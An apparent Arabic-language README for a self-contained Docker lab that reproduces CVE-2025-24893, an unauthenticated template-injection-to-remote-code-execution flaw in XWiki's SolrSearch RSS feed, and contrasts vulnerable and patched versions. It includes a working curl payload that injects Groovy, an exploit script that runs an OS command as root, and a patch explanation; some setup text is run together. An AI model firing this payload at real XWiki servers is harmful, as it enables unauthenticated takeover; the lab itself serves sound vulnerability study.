
مختبر Docker قائم بذاته يعيد إنتاج CVE-2025-24893، وهو ثغرة SSTI-to-RCE غير مصادق عليها في XWiki SolrSearch، ويقارن سلوك النسخة الهشّة مقابل النسخة المُصحَّحة.
مختبر Docker مستقل بذاته يعيد إنتاج CVE-2025-24893، وهي ثغرة حقن في القوالب من جهة الخادم (Server-Side Template Injection) في خلاصة RSS الخاصة بـ SolrSearch في XWiki، تؤدي إلى تنفيذ أوامر عن بُعد بدون مصادقة. يشغّل الإصدار الضعيف 15.10.10 والإصدار المُصحَّح 15.10.11، بحيث يمكن عرض نفس الطلب ناجحًا على الأول وفاشلًا على الآخر.
ملاحظة بشأن استخدام أدوات الذكاء الاصطناعي. عند إعداد هذا المشروع، استخدمت بشكل محدود مساعدَي ذكاء اصطناعي --- Claude Opus 4.8 من Anthropic و DeepSeek-V4-Flash-0731 --- للبحث في التوثيق والمنهجية، ولمراجعة الكود، ولصقل صياغة ملف README.md وتقرير LaTeX. كانت مساهمتهما هامشية وتابعة تمامًا لقراراتي الشخصية.
docker compose، وليس الثنائية القديمة docker-compose). سجّل الإصدارات للتقرير باستخدام docker --version و docker compose version.tomcat:9-jre17 و ومشغّل JDBC النقي بلغة Java كلها متعددة البنى.mysql:8.4cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py # standard-library proof of concept
├── figures/
│ ├── Figure 1.png
│ ├── Figure 2.png
│ ├── Figure 3.png
│ └── Figure 4.png
├── mysql/
│ └── init.sql # privileges for the xwiki DB user
└── xwiki-build/ # image build, pinned to the exact version by SHA-256
├── Dockerfile
├── tomcat/
│ └── setenv.sh
└── xwiki/
├── docker-entrypoint.sh
└── hibernate.cfg.xml
الفرق الوحيد بين المجموعتين (stacks) هو إصدار XWiki. كل شيء آخر، بما في ذلك صورة قاعدة البيانات ومشغّل JDBC، متطابق تمامًا، لذا أي تغيير في السلوك يعود إلى التصحيح فقط ولا شيء غيره.
البناء والتشغيل:
docker compose -f docker-compose.vuln.yml up --build -d
أول عملية بناء تنزّل وتفكّ ضغط XWiki، وقد تستغرق بضع دقائق. انتظر حتى يُبلغ Tomcat عن اكتمال الإقلاع:
docker compose -f docker-compose.vuln.yml logs -f xwiki # wait for "Server startup in ..."
أكمل الإعداد الأولي لمرة واحدة: افتح http://localhost:8080 وأتمم معالج التوزيع (Distribution Wizard) (ثبّت النكهة الافتراضية XWiki Standard). هذا يُوفّر واجهة SolrSearch التي يستهدفها الاستغلال. نقطة الوصول (endpoint) متاحة للزوار، لذا لا يتطلب الهجوم نفسه تسجيل دخول؛ وهذا الإعداد الأولي هو الخطوة الوحيدة التي تتطلب ذلك.
شغّل الاستغلال (بدون مصادقة):
python3 exploit.py http://localhost:8080
المخرجات المتوقعة على المجموعة الضعيفة:
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
اختياريًا، أظهر أن التنفيذ يبلغ نظام التشغيل باستخدام أمر للقراءة فقط:
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
نفس الطلب كسطر واحد بـ curl:
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42
التقط لقطة شاشة للمخرجات للتقرير، ثم أطفئ البيئة:
docker compose -f docker-compose.vuln.yml down # add -v to also wipe the volumes
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki # wait for "Server startup in ..."
أتمم معالج التوزيع مجددًا على http://localhost:8080، ثم شغّل الاستغلال المطابق:
python3 exploit.py http://localhost:8080
المخرجات المتوقعة على المجموعة المُصحَّحة:
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
التقط هذه اللقطة أيضًا، ثم أعد التعيين:
docker compose -f docker-compose.patched.yml down -v
في الإصدار 15.10.10، تُخرج كتلة مخرجات الخلاصة (feed-output) الخلاصة كتعبير Velocity مكشوف ($xwiki.feed.getFeedOutput($feed, 'rss_2.0'))، لذا تمر الخلاصة - التي تعكس نص بحث المستخدم - مرة أخرى عبر خط أنابيب العرض في XWiki، حيث يُنفَّذ ماكرو {{groovy}} المضمّن. في الإصدار 15.10.11، تُستبدل تلك الكتلة باستدعاء لماكرو جديد اسمه rawResponse (SolrSearchMacros.xml سطر 954؛ يُعرَّف الماكرو في templates/macros.vm). يضبط rawResponse نوع المحتوى صراحةً (application/rss+xml)، ويكتب بايتات الخلاصة مباشرة إلى الاستجابة عبر $response.writer.print(...)، ويستدعي $xcontext.setFinished(true) لإيقاف أي عرض إضافي، لذا تُرسل الخلاصة حرفيًا ولا تُقيَّم كتلة {{groovy}} المضمّنة أبدًا. التزام التصحيح 67021db9b8ed26c2236a653269302a86bf01ef40، والنشرة الأمنية GHSA-rr6p-3pfg-562j. تعطي النشرة أيضًا حلًّا يدويًا بديلًا: عدّل Main.SolrSearchMacros لاستخدام نمط rawResponse نفسه، وهذا يغلق الثغرة دون ترقية.
tomcat:9-jre17، وقاعدة البيانات mysql:8.4، والمنفذ 8080.docker compose -f <file> down -v؛ عملية up التالية تعيد التهيئة من الصفر.xwiki/xwiki، الجذر xwiki-root) مخصصة لهذا المختبر المحلي فقط.for V in 15.10.10 15.10.11; do
curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
echo "$V $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
# 15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0 $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
xwiki-build/ (Dockerfile وdocker-entrypoint.sh وhibernate.cfg.xml وsetenv.sh) وmysql/init.sql مُكيَّفة أو مأخوذة من البناء الرسمي لـ XWiki، https://github.com/xwiki-contrib/docker-xwiki (رخصة LGPL-2.1). يختلف ملف Dockerfile عن الصورة الأصلية (upstream) في ثلاث نقاط صغيرة موثقة: (1) رقم إصدار XWiki وJDBC والمجموع الاختباري تُمرَّر كوسائط بناء (build args)، بحيث يبني ملف واحد كلاً من الصورة الضعيفة والصورة المُصحَّحة؛ (2) أمر chmod +x صريح يضمن بقاء نقطة الدخول (entrypoint) قابلة للتنفيذ حتى لو فُقدت أذونات يونكس عند فك ضغط الملفات أو نقلها؛ و(3) تصحيح تعليق متقادم في الكود الأصلي يشير إلى ملف .env (غير مستخدم هنا). XWiki محفوظة الحقوق لفريق تطوير XWiki.